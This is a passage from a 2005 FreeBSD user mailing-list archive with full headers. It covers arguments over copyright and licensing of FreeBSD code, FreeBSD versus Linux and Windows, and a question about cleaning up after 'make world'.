<467538167.20050211234639@wanadoo.fr> <867jlevy8k.fsf@xps.des.no> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Subject: Re: Please don't change Beastie to another crap logo such as NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 11:25:14 -0000 Dag-Erling Smørgrav writes: > Copyright does not enter the equation at all. What matters is the > license. Uh ... where there is no copyright, there is no license. Where there is a license, there is a copyright. -- Anthony From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 11:32:03 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id E252816A4CE for ; Sat, 12 Feb 2005 11:32:03 +0000 (GMT) Received: from smtp11.wanadoo.fr (smtp11.wanadoo.fr [193.252.22.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id 6507F43D41 for ; Sat, 12 Feb 2005 11:32:03 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf1112.wanadoo.fr (SMTP Server) with ESMTP id 89F871C0009F for ; Sat, 12 Feb 2005 12:32:02 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf1112.wanadoo.fr (SMTP Server) with ESMTP id 5BD311C0009C for ; Sat, 12 Feb 2005 12:32:02 +0100 (CET) X-ME-UUID: 20050212113202376.5BD311C0009C@mwinf1112.wanadoo.fr Date: Sat, 12 Feb 2005 12:32:02 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <1546398643.20050212123202@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: <420DE422.3020102@wanadoo.es> References: <200502112313.28082.hindrich@worldchat.com> <823196404.20050212105644@wanadoo.fr> <420DE422.3020102@wanadoo.es> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: Freebsd vs. linux X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 11:32:04 -0000 Ramiro Aceves writes: > I use Debian as my main system and I do not agree with you. I do not > think that Linux distributions I use are doing more enphasis on the > desktop. At least on Debian or Gentoo (the distros I know) you always > have the choice (the whole OS) to install or not the X-window system. I prefer not to have to choose among three dozen different "distributions." Keeping on top of releases is hard enough; having multiple releases of multiple distributions is a useless complication. And Gentoo seems to pop up all too often on Bugtraq (so does Linux in general). > They also have a "base system" concept. If you need a server you only > install the software you need for the server. If you want a desktop full > of bells ans whistles, you install the X-window System, and whatever > window manager you like. I think it is the same for FreeBSD. I've never noticed anything like that during installation. You just install FreeBSD, period. You do have the choice of X or not, but that's about it. > I asume that the Debian guys are expertise enough to put that "mix" in a > comprehensive, coherent,and consistent set of system programs to run > under Linux kernel, as you say. Maybe, maybe not. I don't have time to try out every distribution available in the world to find out which is best. FreeBSD has proven itself for me, and so I run FreeBSD. I like to keep things simple. > My system also never hangs and works very well. That's true of every system I have, both UNIX and Windows. It's pretty much the minimum one should expect from any OS these days. > So I agree with Nick, I think Linux and FreeBSD are two great OSes, and > that each one has its pros and cons. Choosing one or the other, is a > matter of taste. Maybe. I think Linux is a matter of hype, primarily. It's amazing how many Linux users had never heard of UNIX before getting involved with Linux; indeed, some of them _still_ haven't heard of UNIX. That is far less the case with other UNIX-like or UNIX-derived operating systems (except Mac OS X). > I although have observed that in this list, some of you hate Linux. Choosing operating systems is not an emotional issue for me, so I don't hate or love any OS. > I have never seen insults to FreeBSD in the Debian e-mail lists. Most of them have probably never heard of FreeBSD. > Anyway, I like both very much, I am following this e-mail list and > playing with my FreeBSD install in another slice to get confortable and > perhaps, one day, I will change. I remember when I had the luxury of being able to play with operating systems, instead of depending on them for productive work. I can't afford that today. -- Anthony From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 11:33:10 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 4DA4116A4CE; Sat, 12 Feb 2005 11:33:10 +0000 (GMT) Received: from mail.freebsd-corp-net-guide.com (mail.freebsd-corp-net-guide.com [65.75.192.90]) by mx1.FreeBSD.org (Postfix) with ESMTP id C8F5643D31; Sat, 12 Feb 2005 11:33:09 +0000 (GMT) (envelope-from tedm@toybox.placo.com) Received: from tedwin2k (nat-rtr.freebsd-corp-net-guide.com [65.75.197.130]) j1CBX1j31689; Sat, 12 Feb 2005 03:33:02 -0800 (PST) (envelope-from tedm@toybox.placo.com) From: "Ted Mittelstaedt" To: =?iso-8859-1?Q?Dag-Erling_Sm=F8rgrav?= Date: Sat, 12 Feb 2005 03:33:00 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.6604 (9.0.2911.0) X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 In-Reply-To: <863bw2vxpk.fsf@xps.des.no> Importance: Normal cc: Robert Marella cc: freebsd-questions@freebsd.org cc: Garance A Drosehn Subject: RE: Why in the world you should have a vote: was RE: Please don't change Beastie to another crap logo suchas NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 11:33:10 -0000 > -----Original Message----- > From: owner-freebsd-questions@freebsd.org > [mailto:owner-freebsd-questions@freebsd.org]On Behalf Of Dag-Erling > Smørgrav > Sent: Saturday, February 12, 2005 3:12 AM > To: Ted Mittelstaedt > Cc: Robert Marella; freebsd-questions@freebsd.org; Garance A Drosehn > Subject: Re: Why in the world you should have a vote: was RE: Please > don't change Beastie to another crap logo suchas NetBSD!!! > > > "Ted Mittelstaedt" writes: > > With BSD, the copyrights on it are held by the University of Berkeley > > and by the FreeBSD Project. > > No, they aren't. RTFS. Just a couple of examples: > > des@xps ~% grep -r 'Copyright.*Dag-Erling' /usr/src | wc -l > 59 > des@xps ~% grep -r 'Copyright.*Poul.Henning' /usr/src | wc -l > 109 > des@xps ~% grep -r 'Copyright.*Matt.*Dillon' /usr/src | wc -l > 30 > des@xps ~% grep -r 'Copyright.*Network.*Associates' /usr/src | wc -l > 334 > > (about a third of the code in the latter category was written by yours > truly under contract) > OK, so I didn't go look at every little port and piece in the project. I was trying to dumb the explanation down for someone who was quite obviously totally clueless about the philosophy of the software he was using. It was not to denegrate any contribution that anyone has made. But this does point out that you people when you put your stuff into the distribution and you don't assign over the copyright to The FreeBSD Project, that you need to submit this to the documentation people so they can update http://www.freebsd.org/copyright/index.html I don't see why you are so proud of not doing this. Is it your intention to cause problems for companies that want to use FreeBSD in their products? This sort of thing is exactly what the chicken littles like Anthony are talking about. It isn't going to matter to some lawyer charged with vetting the code to make sure that using it in a company's project is OK, that your and the other's copyright is equivalent to the BSD one. He is going to see this and wonder why it wasn't disclosed in the docs where it should have been, and what else is being hidden. And in any case, if you want to get into this, the C compiler carries GPL without which it is impossible to build the OS, and as that copyright is fundamentally different than either the BSD copyrights, or the copyrights of yourself and the others listed, it is a much more serious issue and I don't understand why you didn't bring it up. Although, at least, it IS disclosed in the appropriate place on the website. Ted From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 11:34:05 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id D5B4C16A4CE for ; Sat, 12 Feb 2005 11:34:05 +0000 (GMT) Received: from smtp11.wanadoo.fr (smtp11.wanadoo.fr [193.252.22.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id 93AFD43D2D for ; Sat, 12 Feb 2005 11:34:05 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (unknown [127.0.0.1]) by mwinf1109.wanadoo.fr (SMTP Server) with ESMTP id CEBDB1C000A2 for ; Sat, 12 Feb 2005 12:34:04 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf1109.wanadoo.fr (SMTP Server) with ESMTP id B27F91C000A0 for ; Sat, 12 Feb 2005 12:34:04 +0100 (CET) X-ME-UUID: 20050212113404731.B27F91C000A0@mwinf1109.wanadoo.fr Date: Sat, 12 Feb 2005 12:33:55 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <793369596.20050212123355@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: <420DE485.7040308@locolomo.org> References: <200502112313.28082.hindrich@worldchat.com> <420DE485.7040308@locolomo.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: Freebsd vs. linux X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 11:34:05 -0000 Erik Norgaard writes: > You can find countless comparisons suporting either as superior - just > the recent mysql benchmark supports linux/gentoo. I've worked on benchmarks in the past. Most of them are worthless. > I think FreeBSD boosts administrator performance. I spend less time > maitaining my systems and resolving dependencies or debugging, than I > did on RedHat, Debian or Gentoo. > > That time is precious, this is where you can save on the IT budget, so > using FreeBSD is a good investment. I agree. These days, I have to depend on my operating systems; I cannot afford to play around with them for hours, days, or weeks at a time. On the production system, every minute of downtime is money lost. So I need something simple and reliable. FreeBSD has proven itself to be in this category, so I run FreeBSD. -- Anthony From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 11:38:51 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 07CBA16A4CE for ; Sat, 12 Feb 2005 11:38:51 +0000 (GMT) Received: from top.daemonsecurity.com (FW-182-254.go.retevision.es [62.174.254.182]) by mx1.FreeBSD.org (Postfix) with ESMTP id 7761B43D39 for ; Sat, 12 Feb 2005 11:38:50 +0000 (GMT) (envelope-from norgaard@locolomo.org) Received: from [192.168.0.32] (charm.daemonsecurity.com [192.168.0.32]) by top.daemonsecurity.com (Postfix) with ESMTP id 38E99FD01F; Sat, 12 Feb 2005 12:38:49 +0100 (CET) Message-ID: <420DEAC8.3050906@locolomo.org> Date: Sat, 12 Feb 2005 12:38:48 +0100 From: Erik Norgaard User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.5) Gecko/20050127 X-Accept-Language: en, en-us, da, it, es MIME-Version: 1.0 To: Ramiro Aceves References: <200502112313.28082.hindrich@worldchat.com> <823196404.20050212105644@wanadoo.fr> <420DE422.3020102@wanadoo.es> In-Reply-To: <420DE422.3020102@wanadoo.es> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit cc: freebsd-questions@freebsd.org Subject: Re: Freebsd vs. linux X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 11:38:51 -0000 Ramiro Aceves wrote: > I although have observed that in this list, some of you hate Linux. > I have never seen insults to FreeBSD in the Debian e-mail lists. They > some times talk about some experiences about FreeBSD, but never say > things like " such crap FreeBSD ......" as I have heard here many times. I have a friend who refused to touch BSD because "BSD sucks". In any way FreeBSD didn't behave as Mandrake, it was because "BSD sucks". Why isn't it bash? why isn't it vim?, etc. And you have the endless posts, "BSD is dead", you have the endless flames on which licence is superior. etc. Within the Linux community you will find people who will respond to any problem, "just use , I use it, and it solves exactly your problem on ". I can't count how many times I have heard, "Mandrake is the RedHat that works", "use Debian, then you don't have to worry about dependencies", or "use RedHat, you want business, right?", "yeah, I tried too it sucks" ... etc. I think that regardless of your choice of OS, you will allways find passionate people arguing why their OS/distro is better, and most have some valid points - but do these points apply to you? Obviosly, I use FreeBSD because I think it is the best, why whould I choose a product I think is inferior? It really doesn't make sense to ask this sort of question unless you clearly define the criterias. Cheers, Erik -- Ph: +34.666334818 web: http://www.locolomo.org S/MIME Certificate: http://www.locolomo.org/crt/2004071206.crt Subject ID: A9:76:7A:ED:06:95:2B:8D:48:97:CE:F2:3F:42:C8:F2:22:DE:4C:B9 Fingerprint: 4A:E8:63:38:46:F6:9A:5D:B4:DC:29:41:3F:62:D3:0A:73:25:67:C2 From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 11:41:42 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 0794516A4D0 for ; Sat, 12 Feb 2005 11:41:42 +0000 (GMT) Received: from smtp11.wanadoo.fr (smtp11.wanadoo.fr [193.252.22.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id 6078C43D2D for ; Sat, 12 Feb 2005 11:41:41 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf1104.wanadoo.fr (SMTP Server) with ESMTP id 9B6371C0009F for ; Sat, 12 Feb 2005 12:41:40 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf1104.wanadoo.fr (SMTP Server) with ESMTP id 62A7F1C00098 for ; Sat, 12 Feb 2005 12:41:40 +0100 (CET) X-ME-UUID: 20050212114140404.62A7F1C00098@mwinf1104.wanadoo.fr Date: Sat, 12 Feb 2005 12:41:40 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <1118428918.20050212124140@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: <200502120318.18929.reso3w83@verizon.net> References: <823306184.20050212113045@wanadoo.fr> <200502120318.18929.reso3w83@verizon.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: Instead of freebsd.com, why not... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 11:41:42 -0000 Michael C. Shultz writes: > What about the other 12000 ports? How do they do in windows? I don't know, since I don't need or use them. > Likely there is a *FREE* port for most of what you listed above. No, there isn't. These software products run only on Windows, generally speaking. A few exist in Mac versions as well. Virtually none exist for any flavor of UNIX or UNIX-like operating systems. I have to run these applications for work and play. I therefore cannot use any operating system that doesn't support them on the desktop. > And if you wish to donate half of what you paid for each of those > listed programs there would likely be a port author willing to > customize/improve their port version just for you..... Why would I do that? They already run on Windows. > At best windows can run two or three major applications at once > before it pukes. I routinely have two dozen applications running under Windows, and depending on memory available and required, it can easily run several times that, or more. > On my lowly 256meg 1Gz machine I have 18 desktops, in those 18 desktops > I normally have 3 to 4 major apps running, in two desk tops I have 2 > terms with 4 tabs each running programs, and a handful of documents > opened in the other desk tops. On my 1.8 GHz 1.5 GB machine, I have one desktop that can run everything. > With all that going on in the foreground, in the background all of my > apps are being automatically and continuously updated. I never allow anything on my machines to be automatically updated. I perform all updates myself, explicitly, and I never update anything unless I have to. > When I want a break from work I open a move with mplayer and watch it > with out worrying about shutting anything else down, and if I need a > music fix, xmms solves it. I can watch DVDs and listen to music even with dozens of applications running. > Sometimes I'll go two weeks before rebooting. I can go months without rebooting. My NT machine has gone for nearly a year without a reboot. I don't remember ever seeing a system crash on my XP system, and I've only seen a handful of crashes on the NT system (all because of bad drivers). > It was like going through withdrawl, not > being able to defrag my drives, took a few years before I finally > believed not all file systems frag themselves to death. Fragmentation is difficult to avoid entirely, but some file systems are better at dealing with it than others. NTFS is no worse than UNIX in this respect, as far as I can tell, although my guess is that UNIX is probably superior, if there really is a difference (because UNIX has been around for quite a while and seems to work pretty well without defragmentation). > Windows is crap, I feel sorry for you that you have to use it. Emotional assertions don't persuade me, and you need not feel sorry for me, as everything runs perfectly here. -- Anthony From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 11:44:47 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 92A3F16A4CE for ; Sat, 12 Feb 2005 11:44:47 +0000 (GMT) Received: from mail.freebsd-corp-net-guide.com (mail.freebsd-corp-net-guide.com [65.75.192.90]) by mx1.FreeBSD.org (Postfix) with ESMTP id 21E9D43D3F for ; Sat, 12 Feb 2005 11:44:47 +0000 (GMT) (envelope-from tedm@toybox.placo.com) Received: from tedwin2k (nat-rtr.freebsd-corp-net-guide.com [65.75.197.130]) j1CBikj33854; Sat, 12 Feb 2005 03:44:47 -0800 (PST) (envelope-from tedm@toybox.placo.com) From: "Ted Mittelstaedt" To: "Michael C. Shultz" , Date: Sat, 12 Feb 2005 03:44:45 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.6604 (9.0.2911.0) X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 In-Reply-To: <200502120318.18929.reso3w83@verizon.net> Importance: Normal Subject: RE: Instead of freebsd.com, why not... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 11:44:47 -0000 > -----Original Message----- > From: owner-freebsd-questions@freebsd.org > [mailto:owner-freebsd-questions@freebsd.org]On Behalf Of Michael C. > Shultz > Sent: Saturday, February 12, 2005 3:18 AM > To: freebsd-questions@freebsd.org > Subject: Re: Instead of freebsd.com, why not... > > > What about the other 12000 ports? How do they do in windows? > > Likely there is a *FREE* port for most of what you listed above. > And if you wish to donate half of what you paid for each of those > listed programs Ah, but that is the rub, methinks. Even if our Anthony is squeaky clean and paid for every one of those apps, there are so many many others who don't pay a dime for their Windows applications because they steal copies of them from their friends. That is one of the dirty little secrets about Windows you know. Price for price, for a great many people, the costs are equal. And not to mention all the people who got their copies legally yet paid nothing for them - because they happened to work at a company that has a Microsoft Site license. As those of you know who have dealt with such things, the site licenses that Microsquish writes for companies over 100 head all contain language that -explicitly- allows any employee to make and install copies of the site-licensed software that they use at work, on their home PC. And in some cases the companies don't even have to be that big to get one of these. Ted From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 11:46:07 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id BAD0116A4CE for ; Sat, 12 Feb 2005 11:46:07 +0000 (GMT) Received: from smtp11.wanadoo.fr (smtp11.wanadoo.fr [193.252.22.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id 787C243D39 for ; Sat, 12 Feb 2005 11:46:07 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf1106.wanadoo.fr (SMTP Server) with ESMTP id AC7B21C000A9 for ; Sat, 12 Feb 2005 12:46:06 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf1106.wanadoo.fr (SMTP Server) with ESMTP id 8EB231C000A7 for ; Sat, 12 Feb 2005 12:46:06 +0100 (CET) X-ME-UUID: 20050212114606584.8EB231C000A7@mwinf1106.wanadoo.fr Date: Sat, 12 Feb 2005 12:46:02 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <163678746.20050212124602@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: References: <863bw2vxpk.fsf@xps.des.no> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: Why in the world you should have a vote: was RE: Please don't change Beastie to another crap logo suchas NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 11:46:07 -0000 Ted Mittelstaedt writes: > I don't see why you are so proud of not doing this. Is it your > intention to cause problems for companies that want to use FreeBSD > in their products? This sort of thing is exactly what the > chicken littles like Anthony are talking about. It surprises and worries me that anyone does it, for precisely the reasons that you describe. Should I ever contribute code to FreeBSD, I'll just assign the copyright, or release the code to the public domain. I have to wonder about the motivations of someone who says he wants to contribute to a Great Cause but then insists on retaining his copyright. Remember that in some jurisdictions, copyright reverts to the author after a certain number of years, no matter what he says to the contrary. This includes the U.S.; see 17 USC 203. -- Anthony From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 11:47:05 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id A389216A4CF for ; Sat, 12 Feb 2005 11:47:05 +0000 (GMT) Received: from mail.freebsd-corp-net-guide.com (mail.freebsd-corp-net-guide.com [65.75.192.90]) by mx1.FreeBSD.org (Postfix) with ESMTP id 435D343D4C for ; Sat, 12 Feb 2005 11:47:05 +0000 (GMT) (envelope-from tedm@toybox.placo.com) Received: from tedwin2k (nat-rtr.freebsd-corp-net-guide.com [65.75.197.130]) j1CBl7j33882 for ; Sat, 12 Feb 2005 03:47:08 -0800 (PST) (envelope-from tedm@toybox.placo.com) From: "Ted Mittelstaedt" To: Date: Sat, 12 Feb 2005 03:47:06 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.6604 (9.0.2911.0) X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 In-Reply-To: <1546398643.20050212123202@wanadoo.fr> Importance: Normal Subject: RE: Freebsd vs. linux X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 11:47:05 -0000 > -----Original Message----- > From: owner-freebsd-questions@freebsd.org > [mailto:owner-freebsd-questions@freebsd.org]On Behalf Of Anthony > Atkielski > Sent: Saturday, February 12, 2005 3:32 AM > To: freebsd-questions@freebsd.org > Subject: Re: Freebsd vs. linux > > > > I remember when I had the luxury of being able to play with operating > systems, instead of depending on them for productive work. I can't > afford that today. > Hmm - perhaps if you took a couple weeks off posting to the mailing list, you might have the time... ;-) Ted From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 11:50:06 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id CAD5B16A4CE for ; Sat, 12 Feb 2005 11:50:06 +0000 (GMT) Received: from webmail-outgoing.us4.outblaze.com (webmail-outgoing.us4.outblaze.com [205.158.62.67]) by mx1.FreeBSD.org (Postfix) with ESMTP id AE2A843D2F for ; Sat, 12 Feb 2005 11:50:06 +0000 (GMT) (envelope-from fteg@london.com) Received: from wfilter.us4.outblaze.com (wfilter.us4.outblaze.com [205.158.62.180])82A9D1800129 for ; Sat, 12 Feb 2005 11:50:06 +0000 (GMT) X-OB-Received: from unknown (205.158.62.49) by wfilter.us4.outblaze.com; 12 Feb 2005 11:50:06 -0000 Received: by ws1-1.us4.outblaze.com (Postfix, from userid 1001) id 703D94BDAA; Sat, 12 Feb 2005 11:50:06 +0000 (GMT) Content-Type: text/plain; charset="iso-8859-1" Content-Disposition: inline Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 Received: from [213.187.181.70] by ws1-1.us4.outblaze.com with http for fteg@london.com; Sat, 12 Feb 2005 06:50:06 -0500 From: "Fafa Diliha Romanova" To: questions@freebsd.org Date: Sat, 12 Feb 2005 06:50:06 -0500 X-Originating-Ip: 213.187.181.70 X-Originating-Server: ws1-1.us4.outblaze.com Message-Id: <20050212115006.703D94BDAA@ws1-1.us4.outblaze.com> Subject: make world: HOW CLEAN IS IT? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 11:50:06 -0000 hello when i rebuild my system to stay up to date, does it leave behind many obsolete files to clog up my pure system? i am *VERY* conscious on cleanliness; does freebsd keep track of absolutely EVERY file it creates? also, do you guys have any tips/tricks on how to do system cleanup chores? like scripts, commands etc.? thanks, fafa --=20 ___________________________________________________________ Sign-up for Ads Free at Mail.com http://promo.mail.com/adsfreejump.htm From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 11:54:01 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id BC3DD16A4CE for ; Sat, 12 Feb 2005 11:54:01 +0000 (GMT) Received: from makeworld.com (makeworld.com [198.92.228.38]) by mx1.FreeBSD.org (Postfix) with ESMTP id 74B9B43D31 for ; Sat, 12 Feb 2005 11:54:01 +0000 (GMT) (envelope-from racerx@makeworld.com) Received: from localhost (localhost.com [127.0.0.1]) by makeworld.com (Postfix) with ESMTP id CCEA56123; Sat, 12 Feb 2005 05:54:00 -0600 (CST) Received: from makeworld.com ([127.0.0.1]) by localhost (makeworld.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 22653-02; Sat, 12 Feb 2005 05:53:58 -0600 (CST) Received: from [198.92.228.34] (racerx.makeworld.com [198.92.228.34]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by makeworld.com (Postfix) with ESMTP id C175E6110; Sat, 12 Feb 2005 05:53:58 -0600 (CST) Message-ID: <420DEE62.80902@makeworld.com> Date: Sat, 12 Feb 2005 05:54:10 -0600 From: Chris User-Agent: Mozilla Thunderbird 1.0 (X11/20050101) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Fafa Diliha Romanova References: <20050212115006.703D94BDAA@ws1-1.us4.outblaze.com> In-Reply-To: <20050212115006.703D94BDAA@ws1-1.us4.outblaze.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Virus-Scanned: by ClamAV 0.75.1/amavisd-new-2.2.1 (20041222) at makeworld.com - Isn't it ironic cc: questions@freebsd.org Subject: Re: make world: HOW CLEAN IS IT? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 11:54:01 -0000 Fafa Diliha Romanova wrote: > hello > > when i rebuild my system to stay up to date, > does it leave behind many obsolete files to clog up > my pure system? > > i am *VERY* conscious on cleanliness; > > does freebsd keep track of absolutely EVERY file > it creates? > > also, do you guys have any tips/tricks on how to do > system cleanup chores? like scripts, commands etc.? The best clean-up scripts are the ones you create yourself to do exactly what you want it to do. In any event, peruse /etc/periodic. -- Best regards, Chris Old age is always fifteen years older than I am. From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 11:54:33 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 57BEF16A4CE for ; Sat, 12 Feb 2005 11:54:33 +0000 (GMT) Received: from mail.freebsd-corp-net-guide.com (mail.freebsd-corp-net-guide.com [65.75.192.90]) by mx1.FreeBSD.org (Postfix) with ESMTP id ADE6C43D46 for ; Sat, 12 Feb 2005 11:54:32 +0000 (GMT) (envelope-from tedm@toybox.placo.com) Received: from tedwin2k (nat-rtr.freebsd-corp-net-guide.com [65.75.197.130]) j1CBsZj33921 for ; Sat, 12 Feb 2005 03:54:35 -0800 (PST) (envelope-from tedm@toybox.placo.com) From: "Ted Mittelstaedt" To: Date: Sat, 12 Feb 2005 03:54:34 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.6604 (9.0.2911.0) X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 In-Reply-To: <163678746.20050212124602@wanadoo.fr> Importance: Normal Subject: RE: Why in the world you should have a vote: was RE: Please don'tchange Beastie to another crap logo suchas 